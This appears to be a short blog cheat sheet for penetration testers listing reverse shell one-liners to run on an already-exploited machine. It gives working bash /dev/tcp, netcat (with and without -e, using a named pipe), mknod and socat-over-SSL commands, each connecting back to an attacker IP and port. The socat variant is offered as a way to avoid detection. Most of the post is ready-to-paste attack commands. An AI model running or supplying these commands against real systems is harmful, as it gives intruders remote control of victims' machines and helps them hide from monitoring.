Skip to content
Polle Vanhoof

Reverse shells

Any penetration tester should know how to spawn a reverse shell from the machine he just exploited. But in the heat of the moment, when you just managed to get access, you don't want to be think about which pipe goes where. You need to setup your listener and just get that shell up and running.

So here are some useful nuggets for getting to that shell.

The nuggets

Bash

Use the built in Linux TCP devices to get a connection. This method only works on machines that allow using TCP devices directly to setup connections. It is convenient because bash is almost always present on a Linux machine.

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  • IP address of attacker machine: 10.0.0.1
  • Port on attacker machine listening for the connection: 8080

Netcat (with -e support)

If netcat is installed on your victim machine, setting up a reverse shell is a piece of cake. The -e flag allows you to bind the input and output of any application to the listening attacker machine.

nc -e /bin/sh 192.168.0.123 1234
  • IP address of attacker machine: 192.168.0.123
  • Port on attacker machine listening for the connection: 1234

Netcat (without -e support)

It happens that netcat is installed on the victim machine, but it has been compiled without support for the -e flag. Luckily it is fairly straightforward to simulate the behavior provided by the -e flag using a basic Linux pipe.

rm /tmp/pipe; mkfifo /tmp/pipe;
/bin/sh 0</tmp/pipe | nc 192.168.0.123 1234 1>/tmp/pipe
  • IP address of attacker machine: 192.168.0.123
  • Port on attacker machine listening for the connection: 1234

This one might deserve some clarification. First we setup a first-in-first-out pipe in the /tmp directory. We choose the /tmp directory because it is likely we are allowed to create files in this directory regardless of our access rights.

Next we pipe all contents of this pipe into /bin/sh as input. This means that any commands written to the pipe will be pushed to /bin/sh and executed.

Any output of bin/sh will be pushed to the input of netcat, who will send it all to our listener on the attacker machine. Netcat will also receive data from our listener, which will be pushed to its standard output, which is in turn redirected into the pipe.

So any command send from our listener will be pushed into the pipe, through the pipe into /bin/sh, and the output of the execution is pushed back into netcat and to our listener so we can view the output.

Note:

If you cannot use the command mkfifo for any reason, the alternative is to use the mknod command instead:

mknod /tmp/pipe p

Socat

If you want some more security or just want to avoid detection, you might want to consider using Socat with an SSL certificate. This will ensure that all your communication is encrypted and cannot be read by others.

sudo socat - openssl-listen:4444,cert=full.pem,verify=0,fork
sudo socat openssl:192.168.0.123:4444,verify=0 EXEC:/bin/sh
  • IP address of attacker machine: 192.168.0.123
  • Port on attacker machine listening for the connection: 4444